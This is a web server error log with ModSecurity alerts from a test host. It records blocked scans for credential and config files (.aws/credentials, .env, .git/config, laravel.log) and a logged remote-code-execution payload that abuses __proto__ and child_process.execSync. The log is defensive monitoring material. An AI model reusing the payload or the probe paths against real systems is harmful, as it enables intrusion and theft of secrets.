[Thu Mar 05 21:16:15.428107 2026] [:error] [pid 2501061] [client 195.178.110.34:33640] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aankjw2oE8rlT9GFMnsO-AAAABU"]
[Thu Mar 05 21:18:41.488302 2026] [:error] [pid 2503882] [client 195.178.110.34:53106] [client 195.178.110.34] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aanlISb_JVMSPTd_77AopwAAAAk"]
[Thu Mar 05 21:18:41.488519 2026] [:error] [pid 2503882] [client 195.178.110.34:53106] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aanlISb_JVMSPTd_77AopwAAAAk"]
[Thu Mar 05 21:18:41.488651 2026] [:error] [pid 2503882] [client 195.178.110.34:53106] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aanlISb_JVMSPTd_77AopwAAAAk"]
[Thu Mar 05 21:18:49.289512 2026] [authz_core:error] [pid 2501062] [client 195.178.110.34:53020] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Thu Mar 05 21:18:49.449754 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "aanlKSf6tWF5Jdx0cZJpAgAAABY"]
[Thu Mar 05 21:18:49.449934 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "aanlKSf6tWF5Jdx0cZJpAgAAABY"]
[Thu Mar 05 21:18:49.450111 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "aanlKSf6tWF5Jdx0cZJpAgAAABY"]
[Thu Mar 05 21:18:50.439136 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/config/config.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/config.yml found within REQUEST_FILENAME: /api/config/config.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/config.yml"] [unique_id "aanlKif6tWF5Jdx0cZJpCAAAABY"]
[Thu Mar 05 21:18:50.439297 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/config.yml"] [unique_id "aanlKif6tWF5Jdx0cZJpCAAAABY"]
[Thu Mar 05 21:18:50.439444 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/config.yml"] [unique_id "aanlKif6tWF5Jdx0cZJpCAAAABY"]
[Thu Mar 05 21:18:51.270801 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Warning. Matched phrase ".travis.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "aanlKyf6tWF5Jdx0cZJpCwAAABY"]
[Thu Mar 05 21:18:51.270962 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "aanlKyf6tWF5Jdx0cZJpCwAAABY"]
[Thu Mar 05 21:18:51.271107 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "aanlKyf6tWF5Jdx0cZJpCwAAABY"]
[Thu Mar 05 21:18:53.148282 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aanlLSf6tWF5Jdx0cZJpFQAAABY"]
[Thu Mar 05 21:18:53.148449 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aanlLSf6tWF5Jdx0cZJpFQAAABY"]
[Thu Mar 05 21:18:53.148614 2026] [:error] [pid 2501062] [client 195.178.110.34:53020] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aanlLSf6tWF5Jdx0cZJpFQAAABY"]
[Fri Mar 06 00:08:39.002035 2026] [authz_core:error] [pid 2506039] [client 4.204.200.32:52739] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/Helpers
[Fri Mar 06 00:08:52.659640 2026] [authz_core:error] [pid 2506039] [client 4.204.200.32:52739] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Fri Mar 06 00:09:03.285656 2026] [authz_core:error] [pid 2506041] [client 4.204.200.32:52800] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/Models
[Fri Mar 06 03:46:55.579453 2026] [:error] [pid 2510121] [client 204.76.203.25:52910] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aapAH85mJHp0yI0DHKOvdwAAAAY"]
[Fri Mar 06 03:46:55.579654 2026] [:error] [pid 2510121] [client 204.76.203.25:52910] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aapAH85mJHp0yI0DHKOvdwAAAAY"]
[Fri Mar 06 03:46:55.579780 2026] [:error] [pid 2510121] [client 204.76.203.25:52910] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aapAH85mJHp0yI0DHKOvdwAAAAY"]
[Fri Mar 06 20:50:06.552558 2026] [:error] [pid 2509771] [client 185.93.89.110:38058] [client 185.93.89.110] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aasv7gZa-reBWmkbc_fV1QAAAAE"], referer: http://forst-trento.test.indacotrentino.com//.git/HEAD
[Fri Mar 06 20:50:06.552762 2026] [:error] [pid 2509771] [client 185.93.89.110:38058] [client 185.93.89.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aasv7gZa-reBWmkbc_fV1QAAAAE"], referer: http://forst-trento.test.indacotrentino.com//.git/HEAD
[Fri Mar 06 20:50:06.552887 2026] [:error] [pid 2509771] [client 185.93.89.110:38058] [client 185.93.89.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aasv7gZa-reBWmkbc_fV1QAAAAE"], referer: http://forst-trento.test.indacotrentino.com//.git/HEAD
[Sat Mar 07 02:51:08.762841 2026] [:error] [pid 2527706] [client 63.180.232.222:54054] [client 63.180.232.222] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aauEjFyqsSE5lxI8ErD0bQAAAAQ"]
[Sat Mar 07 02:51:08.763183 2026] [:error] [pid 2527706] [client 63.180.232.222:54054] [client 63.180.232.222] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aauEjFyqsSE5lxI8ErD0bQAAAAQ"]
[Sat Mar 07 02:51:08.763751 2026] [:error] [pid 2527706] [client 63.180.232.222:54054] [client 63.180.232.222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aauEjFyqsSE5lxI8ErD0bQAAAAQ"]
[Sat Mar 07 02:51:08.763880 2026] [:error] [pid 2527706] [client 63.180.232.222:54054] [client 63.180.232.222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aauEjFyqsSE5lxI8ErD0bQAAAAQ"]
[Sat Mar 07 02:51:08.781005 2026] [:error] [pid 2527706] [client 63.180.232.222:54054] [client 63.180.232.222] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aauEjFyqsSE5lxI8ErD0bgAAAAQ"]
[Sat Mar 07 02:51:08.781334 2026] [:error] [pid 2527706] [client 63.180.232.222:54054] [client 63.180.232.222] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aauEjFyqsSE5lxI8ErD0bgAAAAQ"]
[Sat Mar 07 02:51:08.782008 2026] [:error] [pid 2527706] [client 63.180.232.222:54054] [client 63.180.232.222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aauEjFyqsSE5lxI8ErD0bgAAAAQ"]
[Sat Mar 07 02:51:08.782143 2026] [:error] [pid 2527706] [client 63.180.232.222:54054] [client 63.180.232.222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aauEjFyqsSE5lxI8ErD0bgAAAAQ"]
[Tue Mar 10 18:05:44.291322 2026] [:error] [pid 2596672] [client 209.38.92.91:63102] [client 209.38.92.91] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abBPaIZJ1z4ekLjAdbLmfAAAAAQ"]
[Tue Mar 10 18:05:44.292718 2026] [:error] [pid 2596672] [client 209.38.92.91:63102] [client 209.38.92.91] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abBPaIZJ1z4ekLjAdbLmfAAAAAQ"]
[Tue Mar 10 18:05:44.292864 2026] [:error] [pid 2596672] [client 209.38.92.91:63102] [client 209.38.92.91] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abBPaIZJ1z4ekLjAdbLmfAAAAAQ"]
[Tue Mar 10 18:05:44.762128 2026] [:error] [pid 2596672] [client 209.38.92.91:63102] [client 209.38.92.91] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abBPaIZJ1z4ekLjAdbLmfgAAAAQ"]
[Tue Mar 10 18:05:44.762246 2026] [:error] [pid 2596672] [client 209.38.92.91:63102] [client 209.38.92.91] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abBPaIZJ1z4ekLjAdbLmfgAAAAQ"]
